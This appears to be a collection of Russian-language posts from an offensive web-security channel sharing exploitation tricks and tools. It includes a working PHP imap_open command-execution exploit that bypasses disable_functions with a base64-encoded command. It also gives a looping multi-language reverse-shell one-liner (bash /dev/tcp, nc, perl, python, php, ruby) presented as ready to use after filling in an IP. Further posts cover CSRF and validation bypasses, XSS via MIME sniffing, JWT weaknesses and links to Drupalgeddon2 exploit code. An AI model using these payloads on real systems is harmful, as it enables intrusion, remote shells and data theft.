Кавычка

Дружно передаем привет чуваку с ником crlf, который заресерчил багу и выложил таск по выполнению кода с обходом disable_functions в PHP, используя функцию imap_open (и некоторые особенности в Debian/Ubuntu).
На секундочку, это 0day!
Эксплойт с выполнением команды echo '1234567890'>/tmp/test0001:

<?php
$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";
imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

Обязательно читаем подробности тут.
Чуть ниже есть презентация Twoster'а с конференции KazHackStan, ему тоже передаем привет!

В Nginx (и не в nginx) есть аналог .htaccess (пользовательские настройки веб-сервера) и имя ему — .user.ini

Конечно, такой функциональности как у Apache у него нет, однако некоторые финты им делать можно.

Это почему мы молчим? Это потому что мы готовимся к ZeroNights!

Быстрый поиск по эксплойтам и полезным программам. Enjoy!
https://sploitus.com

Кто подавал данные на заведение CVE через https://iwantacve.org могут с удивлением обнаружить, что заявки помещаются в открытый Google Docs (несмотря на то, что там об этом написано). Причем можно посмотреть как на утвержденные уязвимости (прошедшие модерацию, им присвоили номер), так и на новые заявки.
Забавно получается, CVE еще нет (может и патча), а информация об уязвимости уже доступна ¯\_(ツ)_/¯

Генератор "полезной" картинки для эксплоита бага на примере Wordpress + WooCommerce
https://rdot.org/forum/showpost.php?p=44060&postcount=66

Не все йогурты одинаково полезны!

В некоторых случаях, такой символ как 💩 — может отрезать часть строки в MySQL (тот случай, когда какое-то говно — альтернатива нульбайту).

Причем выстрелить это может разными способами, например, как для обхода валидации строки а-ля
http://evil.domain💩.whitelist.domain, так и при эксплуатации XSS (в нем U+1D306, но суть та же).
Еще и как выполнение произвольного кода через какое-то говно. Жуть!

В современных браузерах мы можем отправить кросс-ориджин POST запрос без заголовка Content-Type. Это может быть полезно, если сайт для защиты от CSRF чекает Content-Type, но пропускает проверку, если этот заголовок отсутствует.
Всё что нужно - создать Blob без указанания CT и отправить его используя fetch или sendBeacon.

Поиграться можно тут http://xxx.dbggl.pw/send_no_ct.html

Отдельно про text/plain. Сниффинг содержимого text/plain замечен также у IE 8 если у файла не будет расширения. А с помощью ловкости рук можно заставить выполнить там XSS даже на более свежих версиях, если на ресурсе не запрещена загрузка в фрейме.

https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/

Если у страницы не будет указан Content-Type (передаю привет старику HTTP/0.9) - браузер попытается сам определить содержимое. Тоже самое, если тип контента браузеру не будет знаком. Internet Explorer 8 (спи спокойно Windows XP), например, не признает application/json, поэтому HTML попавший в него также срендерится и XSS выполнится. В жизни этот браузер уже не встретить, но часто в BugBounty это принимают.
Для Chrome сниффинг HTML заработает, если первыми символами будет валидный HTML-тег. Например {"xss":"<script>alert()</script>"} — уже не пройдет.


Заголовок X-Content-Type-Options: nosniff в свою очередь отключает у браузера функциональность определения содержимого.

Если ты встречал странный base64 в параметрах веб-приложений, разбитый двумя точками - скорее всего это JSON Web Tokens.
Он состоит из заголовка, содержимого и подписи, считается одним из безопасных способов передачи информации, поддерживает различные алгоритмы подписи и вот это все. Правда не все реализации безопасны, то тип шифрования можно сменить на "None", то один алгоритм можно сменить на другой, где ключ заранее известен, а то и вовсе секретом будет являться какой-нибудь ChangeMe, где его, конечно же, не сменили. Но мир не без добрых людей, проверить корректность той или иной реализации и заодно перебрать секрет по словарю можно используя JWT Tool.

https://github.com/ticarpi/jwt_tool

#JWT

При внедрении собственных шаблонов в серверные шаблонизаторы (уязвимость SSTI) — эксплуатацию можно автоматизировать с помощью утилиты tplmap. Она и шаблонизатор подберет, и удобный шелл откроет для выполнения произвольного кода. Еще и плагин к Burp Suite имеет.

https://github.com/epinna/tplmap

Годный доклад на OWASP AppSecEU 2018, от Frans Rosén'а
https://speakerdeck.com/fransrosen/owasp-appseceu-2018-attacking-modern-web-technologies?slide=15

Знаете ли вы, что reCAPTCHA (та самая капча от Google) дает возможность выполнять CSRF-атаки?

CSRF-токен — ключ выданный пользователю для предотвращения межсайтовой подделки запросов. Мы тебе дали секретное слово - хочешь отправить данные на сайт, повтори его.

А reCAPTCHA устроена так, что она имеет один и тот же идентификатор сайта (data-sitekey в теле страницы) с помощью которых формируется запрос на сервера Google для подтверждения, что ты есть человек. Если проверка прошла - тебе дают одноразовый ключ для подтверждения твоего запроса.

Но дело в том, что можно разгадывать капчу вообще не заходя на сайт и подсовывать правильно разгаданный параметр перед передачей атакующей ссылки жертве. Разгаданный идентификатор не имеет привязки ни к браузеру, ни к IP адресу пользователя (так как это опциональный параметр), он решает единственную задачу - уменьшить вероятность автоматизации с помощью ботов.

Хотя, судя по активному развитию нейросетей, не факт, что в скором будущем и это поможет.

Обходим экзотичную CSRF защиту

Сперва ликбез. Засабмитить форму POST-запросом можно со следующими mime type:

a) text/plain

b) application/x-www-form-urlencoded:

param1=a&param2=b

c) multipart/form-data:

---------------------------974767299852498929531610575
Content-Disposition: form-data; name="param1" 

aaa
---------------------------974767299852498929531610575
Content-Disposition: form-data; name="param2" 

bbb

Но нам недоступен типа application/json. Браузер заблокирует отправку с таким контент-тайпом, если отсутствуют разрешающие CORS хидеры (а это совсем другая история).

Иногда на этом построена CSRF защита, но Flash может это обойти. А поможет нам в этом вот этот прекрасный PoC: https://github.com/sp1d3r/swf_json_csrf

Если коротко, вот в чем соль:

1) Мы размещаем на собственном ресурсе особый SWF и PHP скрипт отдающий 307 редирект. Особенность редиректа 307 в том, что он, в отличие от прочих, при редиректе перенаправляет отправленные данные, а не просто перенаправляет пользователя на другую страницу.

2) Наша флешка шлет PHP скрипту POST с нужным json телом (ведь все в рамках одного ориджина, а значит CORS нас не заблокирует)

3) Скрипт отдает 307 редирект и перенаправляет на victim-site

4) Наша флешка следует по редиректу
->
Cookies подставляются, Content-type сохраняется application/json
->
PWNED!

Подробнее об этом:
https://www.geekboy.ninja/blog/exploiting-json-cross-site-request-forgery-csrf-using-flash/

Не весь кэш одинаково полезен
https://bo0om.ru/web-cache-deception-attack

На случай важных переговоров:

while true;do bash -i >& /dev/tcp/IP/1337 0>&1;nc -e /bin/sh IP 1337;perl -e 'use Socket;$i="IP";$p=1337;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};';python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("IP",1337));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);';php -r '$sock=fsockopen("IP",1337);exec("/bin/sh -i <&3 >&3 2>&3");';ruby -rsocket -e'f=TCPSocket.open("IP",1337).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)';sleep 5;done

Заменяешь IP на свой и слушаешь порт 1337. На случай, когда не знаешь что на бэкэнде, а бэкшелл хочется :)

По поводу публичных телеграм проксей. В разных статьях предлагают поставить прокси сервер dante и включить вход по юзерам ОС. И следующей строчкой добавляют юзера, но (!) не отрубают ему доступ по SSH и всем раскидывают ссылки на свою проксю с логином и паролем. Итого - берем юзер:пароль, адрес прокси и логинимся по SSH. Небольшим вкладом в безопасность было это исправить в данной инструкции - https://krasovsky.me/it/2017/07/socks5-dante/, которой уже почти 10 месяцев.

А вот и эксплойт на CVE-2018-7600 подъехал.

https://research.checkpoint.com/uncovering-drupalgeddon-2/
https://github.com/a2u/CVE-2018-7600/

#drupalgeddon2 #Drupal